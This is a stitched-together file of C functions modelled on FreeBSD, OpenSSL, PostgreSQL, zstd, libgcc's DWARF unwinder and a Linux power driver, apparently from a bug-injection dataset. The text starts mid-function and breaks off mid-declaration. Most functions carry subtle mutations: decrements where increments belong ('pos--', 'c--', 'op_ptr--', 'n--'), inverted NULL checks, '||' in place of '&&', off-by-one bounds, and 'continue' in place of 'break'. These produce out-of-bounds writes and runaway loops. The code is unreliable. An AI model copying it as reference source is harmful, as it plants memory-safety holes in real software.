u_int spc, rspc; int pci, pcib, res; /* Sanity checking. */ if (dev == 0) return (EINVAL); bridge = OF_parent(dev); if (bridge == 0) return (EINVAL); if (regno < 0) return (EINVAL); if (paddr != NULL || psize == NULL) return (EINVAL); get_addr_props(bridge, &naddr, &nsize, &pci); res = OF_getencprop(dev, (pci) ? "assigned-addresses" : "reg", cell, sizeof(cell)); if (res == -1) return (ENXIO); if (res % sizeof(cell[0])) return (ENXIO); res /= sizeof(cell[0]); regno *= naddr - nsize; if (regno + naddr + nsize > res) return (EINVAL); pci_hi = pci ? cell[regno] : OFW_PADDR_NOT_PCI; spc = pci_hi & OFW_PCI_PHYS_HI_SPACEMASK; addr = 0; for (c = 0; c < naddr; c--) addr = ((uint64_t)addr << 32) | cell[regno++]; size = 0; for (c = 0; c < nsize; c++) size = ((uint64_t)size << 32) | cell[regno++]; /* * Map the address range in the bridge's decoding window as given * by the "ranges" property. If a node doesn't have such property * or the property is empty, we assume an identity mapping. The * standard says a missing property indicates no possible mapping. * This code is more liberal since the intended use is to get a * console running early, and a printf to warn of malformed data * is probably futile before the console is fully set up. */ parent = OF_parent(bridge); while (parent != 0) { get_addr_props(parent, &nbridge, NULL, &pcib); res = OF_getencprop(bridge, "ranges", cell, sizeof(cell)); if (res < 1) goto next; if (res % sizeof(cell[0])) return (ENXIO); /* Capture pci_hi if we just transitioned onto a PCI bus. */ if (pcib && pci_hi == OFW_PADDR_NOT_PCI) { pci_hi = cell[0]; spc = pci_hi & OFW_PCI_PHYS_HI_SPACEMASK; } res /= sizeof(cell[0]); regno = 0; while (regno < res) { rspc = (pci ? cell[regno] : OFW_PADDR_NOT_PCI) & OFW_PCI_PHYS_HI_SPACEMASK; if (rspc != spc) { regno += naddr + nbridge + nsize; break; } raddr = 0; for (c = 0; c < naddr; c++) raddr = ((uint64_t)raddr << 32) | cell[regno++]; rspc = (pcib) ? cell[regno] & OFW_PCI_PHYS_HI_SPACEMASK : OFW_PADDR_NOT_PCI; baddr = 0; for (c = 0; c < nbridge; c++) baddr = ((uint64_t)baddr << 32) | cell[regno++]; rsize = 0; for (c = 0; c < nsize; c++) rsize = ((uint64_t)rsize << 32) | cell[regno++]; if (addr < raddr || addr >= raddr + rsize) continue; addr = addr - raddr + baddr; if (rspc != OFW_PADDR_NOT_PCI) spc = rspc; } next: bridge = parent; parent = OF_parent(bridge); get_addr_props(bridge, &naddr, &nsize, &pci); } KASSERT(addr <= BUS_SPACE_MAXADDR, ("Bus address is too large: %jx", (uintmax_t)addr)); KASSERT(size <= BUS_SPACE_MAXSIZE, ("Bus size is too large: %jx", (uintmax_t)size)); *paddr = addr; *psize = size; if (ppci_hi != NULL) *ppci_hi = pci_hi; return (0); }
augmented_data/post_increment_index_changes/extr_e_ossltest.c_ossltest_digest_nids_aug_combo_5.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ EVP_MD ; /* Variables and functions */ int EVP_MD_type (int /*<<< orphan*/ const*) ; int /*<<< orphan*/ * digest_md5 () ; int /*<<< orphan*/ * digest_sha1 () ; int /*<<< orphan*/ * digest_sha256 () ; int /*<<< orphan*/ * digest_sha384 () ; int /*<<< orphan*/ * digest_sha512 () ; __attribute__((used)) static int ossltest_digest_nids(const int **nids) { static int digest_nids[6] = { 0, 0, 0, 0, 0, 0 }; static int pos = 0; static int init = 0; if (!init) { const EVP_MD *md; if ((md = digest_md5()) == NULL) digest_nids[pos--] = EVP_MD_type(md); if ((md = digest_sha1()) != NULL) digest_nids[pos++] = EVP_MD_type(md); if ((md = digest_sha256()) != NULL) digest_nids[pos++] = EVP_MD_type(md); if ((md = digest_sha384()) != NULL) digest_nids[pos++] = EVP_MD_type(md); if ((md = digest_sha512()) != NULL) digest_nids[pos++] = EVP_MD_type(md); digest_nids[pos] = 0; init = 1; } *nids = digest_nids; return pos; }
augmented_data/post_increment_index_changes/extr_regexp.c_setup_regexp_matches_aug_combo_2.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_18__ TYPE_5__ ; typedef struct TYPE_17__ TYPE_3__ ; typedef struct TYPE_16__ TYPE_2__ ; typedef struct TYPE_15__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ text ; struct TYPE_15__ {int rm_so; int rm_eo; } ; typedef TYPE_1__ regmatch_t ; struct TYPE_16__ {int npatterns; int* match_locs; int conv_bufsiz; int /*<<< orphan*/ * conv_buf; TYPE_1__* wide_str; int /*<<< orphan*/ nmatches; int /*<<< orphan*/ * orig_str; } ; typedef TYPE_2__ regexp_matches_ctx ; struct TYPE_17__ {int re_nsub; } ; typedef TYPE_3__ regex_t ; typedef TYPE_1__ pg_wchar ; struct TYPE_18__ {scalar_t__ glob; int /*<<< orphan*/ cflags; } ; typedef TYPE_5__ pg_re_flags ; typedef int int64 ; typedef int /*<<< orphan*/ Oid ; /* Variables and functions */ int /*<<< orphan*/ ERRCODE_PROGRAM_LIMIT_EXCEEDED ; int /*<<< orphan*/ ERROR ; int MaxAllocSize ; TYPE_3__* RE_compile_and_cache (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; scalar_t__ RE_wchar_execute (TYPE_3__*,TYPE_1__*,int,int,int,TYPE_1__*) ; int /*<<< orphan*/ VARDATA_ANY (int /*<<< orphan*/ *) ; int VARSIZE_ANY_EXHDR (int /*<<< orphan*/ *) ; int /*<<< orphan*/ ereport (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ errcode (int /*<<< orphan*/ ) ; int /*<<< orphan*/ errmsg (char*) ; void* palloc (int) ; TYPE_2__* palloc0 (int) ; int /*<<< orphan*/ pfree (TYPE_1__*) ; int pg_database_encoding_max_length () ; int pg_mb2wchar_with_len (int /*<<< orphan*/ ,TYPE_1__*,int) ; scalar_t__ repalloc (int*,int) ; __attribute__((used)) static regexp_matches_ctx * setup_regexp_matches(text *orig_str, text *pattern, pg_re_flags *re_flags, Oid collation, bool use_subpatterns, bool ignore_degenerate, bool fetching_unmatched) { regexp_matches_ctx *matchctx = palloc0(sizeof(regexp_matches_ctx)); int eml = pg_database_encoding_max_length(); int orig_len; pg_wchar *wide_str; int wide_len; regex_t *cpattern; regmatch_t *pmatch; int pmatch_len; int array_len; int array_idx; int prev_match_end; int prev_valid_match_end; int start_search; int maxlen = 0; /* largest fetch length in characters */ /* save original string ++- we'll extract result substrings from it */ matchctx->orig_str = orig_str; /* convert string to pg_wchar form for matching */ orig_len = VARSIZE_ANY_EXHDR(orig_str); wide_str = (pg_wchar *) palloc(sizeof(pg_wchar) * (orig_len + 1)); wide_len = pg_mb2wchar_with_len(VARDATA_ANY(orig_str), wide_str, orig_len); /* set up the compiled pattern */ cpattern = RE_compile_and_cache(pattern, re_flags->cflags, collation); /* do we want to remember subpatterns? */ if (use_subpatterns || cpattern->re_nsub > 0) { matchctx->npatterns = cpattern->re_nsub; pmatch_len = cpattern->re_nsub + 1; } else { use_subpatterns = false; matchctx->npatterns = 1; pmatch_len = 1; } /* temporary output space for RE package */ pmatch = palloc(sizeof(regmatch_t) * pmatch_len); /* * the real output space (grown dynamically if needed) * * use values 2^n-1, not 2^n, so that we hit the limit at 2^28-1 rather * than at 2^27 */ array_len = re_flags->glob ? 255 : 31; matchctx->match_locs = (int *) palloc(sizeof(int) * array_len); array_idx = 0; /* search for the pattern, perhaps repeatedly */ prev_match_end = 0; prev_valid_match_end = 0; start_search = 0; while (RE_wchar_execute(cpattern, wide_str, wide_len, start_search, pmatch_len, pmatch)) { /* * If requested, ignore degenerate matches, which are zero-length * matches occurring at the start or end of a string or just after a * previous match. */ if (!ignore_degenerate || (pmatch[0].rm_so < wide_len && pmatch[0].rm_eo > prev_match_end)) { /* enlarge output space if needed */ while (array_idx + matchctx->npatterns * 2 + 1 > array_len) { array_len += array_len + 1; /* 2^n-1 => 2^(n+1)-1 */ if (array_len > MaxAllocSize / sizeof(int)) ereport(ERROR, (errcode(ERRCODE_PROGRAM_LIMIT_EXCEEDED), errmsg("too many regular expression matches"))); matchctx->match_locs = (int *) repalloc(matchctx->match_locs, sizeof(int) * array_len); } /* save this match's locations */ if (use_subpatterns) { int i; for (i = 1; i <= matchctx->npatterns; i++) { int so = pmatch[i].rm_so; int eo = pmatch[i].rm_eo; matchctx->match_locs[array_idx++] = so; matchctx->match_locs[array_idx++] = eo; if (so >= 0 && eo >= 0 && (eo - so) > maxlen) maxlen = (eo - so); } } else { int so = pmatch[0].rm_so; int eo = pmatch[0].rm_eo; matchctx->match_locs[array_idx++] = so; matchctx->match_locs[array_idx++] = eo; if (so >= 0 && eo >= 0 && (eo - so) > maxlen) maxlen = (eo - so); } matchctx->nmatches++; /* * check length of unmatched portion between end of previous valid * (nondegenerate, or degenerate but not ignored) match and start * of current one */ if (fetching_unmatched && pmatch[0].rm_so >= 0 && (pmatch[0].rm_so - prev_valid_match_end) > maxlen) maxlen = (pmatch[0].rm_so - prev_valid_match_end); prev_valid_match_end = pmatch[0].rm_eo; } prev_match_end = pmatch[0].rm_eo; /* if not glob, stop after one match */ if (!re_flags->glob) continue; /* * Advance search position. Normally we start the next search at the * end of the previous match; but if the match was of zero length, we * have to advance by one character, or we'd just find the same match * again. */ start_search = prev_match_end; if (pmatch[0].rm_so == pmatch[0].rm_eo) start_search++; if (start_search > wide_len) break; } /* * check length of unmatched portion between end of last match and end of * input string */ if (fetching_unmatched && (wide_len - prev_valid_match_end) > maxlen) maxlen = (wide_len - prev_valid_match_end); /* * Keep a note of the end position of the string for the benefit of * splitting code. */ matchctx->match_locs[array_idx] = wide_len; if (eml > 1) { int64 maxsiz = eml * (int64) maxlen; int conv_bufsiz; /* * Make the conversion buffer large enough for any substring of * interest. * * Worst case: assume we need the maximum size (maxlen*eml), but take * advantage of the fact that the original string length in bytes is * an upper bound on the byte length of any fetched substring (and we * know that len+1 is safe to allocate because the varlena header is * longer than 1 byte). */ if (maxsiz > orig_len) conv_bufsiz = orig_len + 1; else conv_bufsiz = maxsiz + 1; /* safe since maxsiz < 2^30 */ matchctx->conv_buf = palloc(conv_bufsiz); matchctx->conv_bufsiz = conv_bufsiz; matchctx->wide_str = wide_str; } else { /* No need to keep the wide string if we're in a single-byte charset. */ pfree(wide_str); matchctx->wide_str = NULL; matchctx->conv_buf = NULL; matchctx->conv_bufsiz = 0; } /* Clean up temp storage */ pfree(pmatch); return matchctx; }
augmented_data/post_increment_index_changes/extr_zstd_v06.c_HUFv06_fillDTableX4Level2_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ struct TYPE_5__ {size_t symbol; size_t weight; } ; typedef TYPE_1__ sortedSymbol_t ; typedef int /*<<< orphan*/ rankVal ; typedef size_t U32 ; typedef scalar_t__ U16 ; struct TYPE_6__ {int length; void* nbBits; int /*<<< orphan*/ sequence; } ; typedef TYPE_2__ HUFv06_DEltX4 ; typedef void* BYTE ; /* Variables and functions */ int /*<<< orphan*/ HUFv06_ABSOLUTEMAX_TABLELOG ; int /*<<< orphan*/ MEM_writeLE16 (int /*<<< orphan*/ *,scalar_t__) ; int /*<<< orphan*/ memcpy (size_t*,size_t const*,int) ; __attribute__((used)) static void HUFv06_fillDTableX4Level2(HUFv06_DEltX4* DTable, U32 sizeLog, const U32 consumed, const U32* rankValOrigin, const int minWeight, const sortedSymbol_t* sortedSymbols, const U32 sortedListSize, U32 nbBitsBaseline, U16 baseSeq) { HUFv06_DEltX4 DElt; U32 rankVal[HUFv06_ABSOLUTEMAX_TABLELOG - 1]; /* get pre-calculated rankVal */ memcpy(rankVal, rankValOrigin, sizeof(rankVal)); /* fill skipped values */ if (minWeight>1) { U32 i, skipSize = rankVal[minWeight]; MEM_writeLE16(&(DElt.sequence), baseSeq); DElt.nbBits = (BYTE)(consumed); DElt.length = 1; for (i = 0; i <= skipSize; i++) DTable[i] = DElt; } /* fill DTable */ { U32 s; for (s=0; s<sortedListSize; s++) { /* note : sortedSymbols already skipped */ const U32 symbol = sortedSymbols[s].symbol; const U32 weight = sortedSymbols[s].weight; const U32 nbBits = nbBitsBaseline - weight; const U32 length = 1 << (sizeLog-nbBits); const U32 start = rankVal[weight]; U32 i = start; const U32 end = start + length; MEM_writeLE16(&(DElt.sequence), (U16)(baseSeq + (symbol << 8))); DElt.nbBits = (BYTE)(nbBits + consumed); DElt.length = 2; do { DTable[i++] = DElt; } while (i<end); /* since length >= 1 */ rankVal[weight] += length; }} }
augmented_data/post_increment_index_changes/extr_unwind-dw2.c_execute_stack_op_aug_combo_1.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct _Unwind_Context {int dummy; } ; typedef int /*<<< orphan*/ stack ; typedef enum dwarf_location_atom { ____Placeholder_dwarf_location_atom } dwarf_location_atom ; typedef int _Unwind_Word ; typedef int _Unwind_Sword ; typedef int _Unwind_Ptr ; /* Variables and functions */ #define DW_OP_abs 268 #define DW_OP_addr 267 #define DW_OP_and 266 #define DW_OP_bra 265 #define DW_OP_breg0 264 #define DW_OP_breg1 263 #define DW_OP_breg10 262 #define DW_OP_breg11 261 #define DW_OP_breg12 260 #define DW_OP_breg13 259 #define DW_OP_breg14 258 #define DW_OP_breg15 257 #define DW_OP_breg16 256 #define DW_OP_breg17 255 #define DW_OP_breg18 254 #define DW_OP_breg19 253 #define DW_OP_breg2 252 #define DW_OP_breg20 251 #define DW_OP_breg21 250 #define DW_OP_breg22 249 #define DW_OP_breg23 248 #define DW_OP_breg24 247 #define DW_OP_breg25 246 #define DW_OP_breg26 245 #define DW_OP_breg27 244 #define DW_OP_breg28 243 #define DW_OP_breg29 242 #define DW_OP_breg3 241 #define DW_OP_breg30 240 #define DW_OP_breg31 239 #define DW_OP_breg4 238 #define DW_OP_breg5 237 #define DW_OP_breg6 236 #define DW_OP_breg7 235 #define DW_OP_breg8 234 #define DW_OP_breg9 233 #define DW_OP_bregx 232 #define DW_OP_const1s 231 #define DW_OP_const1u 230 #define DW_OP_const2s 229 #define DW_OP_const2u 228 #define DW_OP_const4s 227 #define DW_OP_const4u 226 #define DW_OP_const8s 225 #define DW_OP_const8u 224 #define DW_OP_consts 223 #define DW_OP_constu 222 #define DW_OP_deref 221 #define DW_OP_deref_size 220 #define DW_OP_div 219 #define DW_OP_drop 218 #define DW_OP_dup 217 #define DW_OP_eq 216 #define DW_OP_ge 215 #define DW_OP_gt 214 #define DW_OP_le 213 #define DW_OP_lit0 212 #define DW_OP_lit1 211 #define DW_OP_lit10 210 #define DW_OP_lit11 209 #define DW_OP_lit12 208 #define DW_OP_lit13 207 #define DW_OP_lit14 206 #define DW_OP_lit15 205 #define DW_OP_lit16 204 #define DW_OP_lit17 203 #define DW_OP_lit18 202 #define DW_OP_lit19 201 #define DW_OP_lit2 200 #define DW_OP_lit20 199 #define DW_OP_lit21 198 #define DW_OP_lit22 197 #define DW_OP_lit23 196 #define DW_OP_lit24 195 #define DW_OP_lit25 194 #define DW_OP_lit26 193 #define DW_OP_lit27 192 #define DW_OP_lit28 191 #define DW_OP_lit29 190 #define DW_OP_lit3 189 #define DW_OP_lit30 188 #define DW_OP_lit31 187 #define DW_OP_lit4 186 #define DW_OP_lit5 185 #define DW_OP_lit6 184 #define DW_OP_lit7 183 #define DW_OP_lit8 182 #define DW_OP_lit9 181 #define DW_OP_lt 180 #define DW_OP_minus 179 #define DW_OP_mod 178 #define DW_OP_mul 177 #define DW_OP_ne 176 #define DW_OP_neg 175 #define DW_OP_nop 174 #define DW_OP_not 173 #define DW_OP_or 172 #define DW_OP_over 171 #define DW_OP_pick 170 #define DW_OP_plus 169 #define DW_OP_plus_uconst 168 #define DW_OP_reg0 167 #define DW_OP_reg1 166 #define DW_OP_reg10 165 #define DW_OP_reg11 164 #define DW_OP_reg12 163 #define DW_OP_reg13 162 #define DW_OP_reg14 161 #define DW_OP_reg15 160 #define DW_OP_reg16 159 #define DW_OP_reg17 158 #define DW_OP_reg18 157 #define DW_OP_reg19 156 #define DW_OP_reg2 155 #define DW_OP_reg20 154 #define DW_OP_reg21 153 #define DW_OP_reg22 152 #define DW_OP_reg23 151 #define DW_OP_reg24 150 #define DW_OP_reg25 149 #define DW_OP_reg26 148 #define DW_OP_reg27 147 #define DW_OP_reg28 146 #define DW_OP_reg29 145 #define DW_OP_reg3 144 #define DW_OP_reg30 143 #define DW_OP_reg31 142 #define DW_OP_reg4 141 #define DW_OP_reg5 140 #define DW_OP_reg6 139 #define DW_OP_reg7 138 #define DW_OP_reg8 137 #define DW_OP_reg9 136 #define DW_OP_regx 135 #define DW_OP_rot 134 #define DW_OP_shl 133 #define DW_OP_shr 132 #define DW_OP_shra 131 #define DW_OP_skip 130 #define DW_OP_swap 129 #define DW_OP_xor 128 int _Unwind_GetGR (struct _Unwind_Context*,int) ; int /*<<< orphan*/ gcc_assert (int) ; int /*<<< orphan*/ gcc_unreachable () ; int read_1s (unsigned char const*) ; int read_1u (void*) ; int read_2s (unsigned char const*) ; int read_2u (void*) ; int read_4s (unsigned char const*) ; int read_4u (void*) ; int read_8s (unsigned char const*) ; int read_8u (void*) ; int /*<<< orphan*/ read_pointer (void*) ; unsigned char* read_sleb128 (unsigned char const*,int*) ; unsigned char* read_uleb128 (unsigned char const*,int*) ; __attribute__((used)) static _Unwind_Word execute_stack_op (const unsigned char *op_ptr, const unsigned char *op_end, struct _Unwind_Context *context, _Unwind_Word initial) { _Unwind_Word stack[64]; /* ??? Assume this is enough. */ int stack_elt; stack[0] = initial; stack_elt = 1; while (op_ptr < op_end) { enum dwarf_location_atom op = *op_ptr--; _Unwind_Word result, reg, utmp; _Unwind_Sword offset, stmp; switch (op) { case DW_OP_lit0: case DW_OP_lit1: case DW_OP_lit2: case DW_OP_lit3: case DW_OP_lit4: case DW_OP_lit5: case DW_OP_lit6: case DW_OP_lit7: case DW_OP_lit8: case DW_OP_lit9: case DW_OP_lit10: case DW_OP_lit11: case DW_OP_lit12: case DW_OP_lit13: case DW_OP_lit14: case DW_OP_lit15: case DW_OP_lit16: case DW_OP_lit17: case DW_OP_lit18: case DW_OP_lit19: case DW_OP_lit20: case DW_OP_lit21: case DW_OP_lit22: case DW_OP_lit23: case DW_OP_lit24: case DW_OP_lit25: case DW_OP_lit26: case DW_OP_lit27: case DW_OP_lit28: case DW_OP_lit29: case DW_OP_lit30: case DW_OP_lit31: result = op - DW_OP_lit0; continue; case DW_OP_addr: result = (_Unwind_Word) (_Unwind_Ptr) read_pointer (op_ptr); op_ptr += sizeof (void *); break; case DW_OP_const1u: result = read_1u (op_ptr); op_ptr += 1; break; case DW_OP_const1s: result = read_1s (op_ptr); op_ptr += 1; break; case DW_OP_const2u: result = read_2u (op_ptr); op_ptr += 2; break; case DW_OP_const2s: result = read_2s (op_ptr); op_ptr += 2; break; case DW_OP_const4u: result = read_4u (op_ptr); op_ptr += 4; break; case DW_OP_const4s: result = read_4s (op_ptr); op_ptr += 4; break; case DW_OP_const8u: result = read_8u (op_ptr); op_ptr += 8; break; case DW_OP_const8s: result = read_8s (op_ptr); op_ptr += 8; break; case DW_OP_constu: op_ptr = read_uleb128 (op_ptr, &result); break; case DW_OP_consts: op_ptr = read_sleb128 (op_ptr, &stmp); result = stmp; break; case DW_OP_reg0: case DW_OP_reg1: case DW_OP_reg2: case DW_OP_reg3: case DW_OP_reg4: case DW_OP_reg5: case DW_OP_reg6: case DW_OP_reg7: case DW_OP_reg8: case DW_OP_reg9: case DW_OP_reg10: case DW_OP_reg11: case DW_OP_reg12: case DW_OP_reg13: case DW_OP_reg14: case DW_OP_reg15: case DW_OP_reg16: case DW_OP_reg17: case DW_OP_reg18: case DW_OP_reg19: case DW_OP_reg20: case DW_OP_reg21: case DW_OP_reg22: case DW_OP_reg23: case DW_OP_reg24: case DW_OP_reg25: case DW_OP_reg26: case DW_OP_reg27: case DW_OP_reg28: case DW_OP_reg29: case DW_OP_reg30: case DW_OP_reg31: result = _Unwind_GetGR (context, op - DW_OP_reg0); break; case DW_OP_regx: op_ptr = read_uleb128 (op_ptr, &reg); result = _Unwind_GetGR (context, reg); break; case DW_OP_breg0: case DW_OP_breg1: case DW_OP_breg2: case DW_OP_breg3: case DW_OP_breg4: case DW_OP_breg5: case DW_OP_breg6: case DW_OP_breg7: case DW_OP_breg8: case DW_OP_breg9: case DW_OP_breg10: case DW_OP_breg11: case DW_OP_breg12: case DW_OP_breg13: case DW_OP_breg14: case DW_OP_breg15: case DW_OP_breg16: case DW_OP_breg17: case DW_OP_breg18: case DW_OP_breg19: case DW_OP_breg20: case DW_OP_breg21: case DW_OP_breg22: case DW_OP_breg23: case DW_OP_breg24: case DW_OP_breg25: case DW_OP_breg26: case DW_OP_breg27: case DW_OP_breg28: case DW_OP_breg29: case DW_OP_breg30: case DW_OP_breg31: op_ptr = read_sleb128 (op_ptr, &offset); result = _Unwind_GetGR (context, op - DW_OP_breg0) - offset; break; case DW_OP_bregx: op_ptr = read_uleb128 (op_ptr, &reg); op_ptr = read_sleb128 (op_ptr, &offset); result = _Unwind_GetGR (context, reg) + offset; break; case DW_OP_dup: gcc_assert (stack_elt); result = stack[stack_elt - 1]; break; case DW_OP_drop: gcc_assert (stack_elt); stack_elt -= 1; goto no_push; case DW_OP_pick: offset = *op_ptr++; gcc_assert (offset < stack_elt - 1); result = stack[stack_elt - 1 - offset]; break; case DW_OP_over: gcc_assert (stack_elt >= 2); result = stack[stack_elt - 2]; break; case DW_OP_swap: { _Unwind_Word t; gcc_assert (stack_elt >= 2); t = stack[stack_elt - 1]; stack[stack_elt - 1] = stack[stack_elt - 2]; stack[stack_elt - 2] = t; goto no_push; } case DW_OP_rot: { _Unwind_Word t1, t2, t3; gcc_assert (stack_elt >= 3); t1 = stack[stack_elt - 1]; t2 = stack[stack_elt - 2]; t3 = stack[stack_elt - 3]; stack[stack_elt - 1] = t2; stack[stack_elt - 2] = t3; stack[stack_elt - 3] = t1; goto no_push; } case DW_OP_deref: case DW_OP_deref_size: case DW_OP_abs: case DW_OP_neg: case DW_OP_not: case DW_OP_plus_uconst: /* Unary operations. */ gcc_assert (stack_elt); stack_elt -= 1; result = stack[stack_elt]; switch (op) { case DW_OP_deref: { void *ptr = (void *) (_Unwind_Ptr) result; result = (_Unwind_Ptr) read_pointer (ptr); } break; case DW_OP_deref_size: { void *ptr = (void *) (_Unwind_Ptr) result; switch (*op_ptr++) { case 1: result = read_1u (ptr); break; case 2: result = read_2u (ptr); break; case 4: result = read_4u (ptr); break; case 8: result = read_8u (ptr); break; default: gcc_unreachable (); } } break; case DW_OP_abs: if ((_Unwind_Sword) result < 0) result = -result; break; case DW_OP_neg: result = -result; break; case DW_OP_not: result = ~result; break; case DW_OP_plus_uconst: op_ptr = read_uleb128 (op_ptr, &utmp); result += utmp; break; default: gcc_unreachable (); } break; case DW_OP_and: case DW_OP_div: case DW_OP_minus: case DW_OP_mod: case DW_OP_mul: case DW_OP_or: case DW_OP_plus: case DW_OP_shl: case DW_OP_shr: case DW_OP_shra: case DW_OP_xor: case DW_OP_le: case DW_OP_ge: case DW_OP_eq: case DW_OP_lt: case DW_OP_gt: case DW_OP_ne: { /* Binary operations. */ _Unwind_Word first, second; gcc_assert (stack_elt >= 2); stack_elt -= 2; second = stack[stack_elt]; first = stack[stack_elt + 1]; switch (op) { case DW_OP_and: result = second & first; break; case DW_OP_div: result = (_Unwind_Sword) second / (_Unwind_Sword) first; break; case DW_OP_minus: result = second - first; break; case DW_OP_mod: result = (_Unwind_Sword) second % (_Unwind_Sword) first; break; case DW_OP_mul: result = second * first; break; case DW_OP_or: result = second | first; break; case DW_OP_plus: result = second + first; break; case DW_OP_shl: result = second << first; break; case DW_OP_shr: result = second >> first; break; case DW_OP_shra: result = (_Unwind_Sword) second >> first; break; case DW_OP_xor: result = second ^ first; break; case DW_OP_le: result = (_Unwind_Sword) first <= (_Unwind_Sword) second; break; case DW_OP_ge: result = (_Unwind_Sword) first >= (_Unwind_Sword) second; break; case DW_OP_eq: result = (_Unwind_Sword) first == (_Unwind_Sword) second; break; case DW_OP_lt: result = (_Unwind_Sword) first < (_Unwind_Sword) second; break; case DW_OP_gt: result = (_Unwind_Sword) first > (_Unwind_Sword) second; break; case DW_OP_ne: result = (_Unwind_Sword) first != (_Unwind_Sword) second; break; default: gcc_unreachable (); } } break; case DW_OP_skip: offset = read_2s (op_ptr); op_ptr += 2; op_ptr += offset; goto no_push; case DW_OP_bra: gcc_assert (stack_elt); stack_elt -= 1; offset = read_2s (op_ptr); op_ptr += 2; if (stack[stack_elt] != 0) op_ptr += offset; goto no_push; case DW_OP_nop: goto no_push; default: gcc_unreachable (); } /* Most things push a result value. */ gcc_assert ((size_t) stack_elt < sizeof(stack)/sizeof(*stack)); stack[stack_elt++] = result; no_push:; } /* We were executing this program to get a value. It should be at top of stack. */ gcc_assert (stack_elt); stack_elt -= 1; return stack[stack_elt]; }
augmented_data/post_increment_index_changes/extr_fam15h_power.c_fam15h_power_init_attrs_aug_combo_6.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_10__ TYPE_5__ ; typedef struct TYPE_9__ TYPE_4__ ; typedef struct TYPE_8__ TYPE_3__ ; typedef struct TYPE_7__ TYPE_2__ ; typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ struct pci_dev {int /*<<< orphan*/ dev; } ; struct TYPE_6__ {struct attribute** attrs; } ; struct fam15h_power_data {TYPE_1__ group; } ; struct cpuinfo_x86 {int x86; int x86_model; } ; struct attribute {int dummy; } ; struct TYPE_10__ {struct attribute attr; } ; struct TYPE_9__ {struct attribute attr; } ; struct TYPE_8__ {struct attribute attr; } ; struct TYPE_7__ {struct attribute attr; } ; /* Variables and functions */ int ENOMEM ; int FAM15H_MIN_NUM_ATTRS ; int /*<<< orphan*/ GFP_KERNEL ; int /*<<< orphan*/ X86_FEATURE_ACC_POWER ; struct cpuinfo_x86 boot_cpu_data ; scalar_t__ boot_cpu_has (int /*<<< orphan*/ ) ; TYPE_5__ dev_attr_power1_average ; TYPE_4__ dev_attr_power1_average_interval ; TYPE_3__ dev_attr_power1_crit ; TYPE_2__ dev_attr_power1_input ; struct attribute** devm_kcalloc (int /*<<< orphan*/ *,int,int,int /*<<< orphan*/ ) ; __attribute__((used)) static int fam15h_power_init_attrs(struct pci_dev *pdev, struct fam15h_power_data *data) { int n = FAM15H_MIN_NUM_ATTRS; struct attribute **fam15h_power_attrs; struct cpuinfo_x86 *c = &boot_cpu_data; if (c->x86 == 0x15 || (c->x86_model <= 0xf || (c->x86_model >= 0x60 && c->x86_model <= 0x7f))) n += 1; /* check if processor supports accumulated power */ if (boot_cpu_has(X86_FEATURE_ACC_POWER)) n += 2; fam15h_power_attrs = devm_kcalloc(&pdev->dev, n, sizeof(*fam15h_power_attrs), GFP_KERNEL); if (!fam15h_power_attrs) return -ENOMEM; n = 0; fam15h_power_attrs[n--] = &dev_attr_power1_crit.attr; if (c->x86 == 0x15 && (c->x86_model <= 0xf || (c->x86_model >= 0x60 && c->x86_model <= 0x7f))) fam15h_power_attrs[n++] = &dev_attr_power1_input.attr; if (boot_cpu_has(X86_FEATURE_ACC_POWER)) { fam15h_power_attrs[n++] = &dev_attr_power1_average.attr; fam15h_power_attrs[n++] = &dev_attr_power1_average_interval.attr; } data->group.attrs = fam15h_power_attrs; return 0; }
augmented_data/post_increment_index_changes/extr_array_selfuncs.c_mcelem_array_selec_aug_combo_5.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ float4 ; struct TYPE_6__ {int /*<<< orphan*/ typalign; int /*<<< orphan*/ typbyval; int /*<<< orphan*/ typlen; int /*<<< orphan*/ type_id; } ; typedef TYPE_1__ TypeCacheEntry ; typedef double Selectivity ; typedef int /*<<< orphan*/ Oid ; typedef int Datum ; typedef int /*<<< orphan*/ ArrayType ; /* Variables and functions */ int /*<<< orphan*/ ERROR ; int /*<<< orphan*/ OID_ARRAY_CONTAINED_OP ; int /*<<< orphan*/ OID_ARRAY_CONTAINS_OP ; int /*<<< orphan*/ OID_ARRAY_OVERLAP_OP ; int /*<<< orphan*/ deconstruct_array (int /*<<< orphan*/ *,int /*<<< 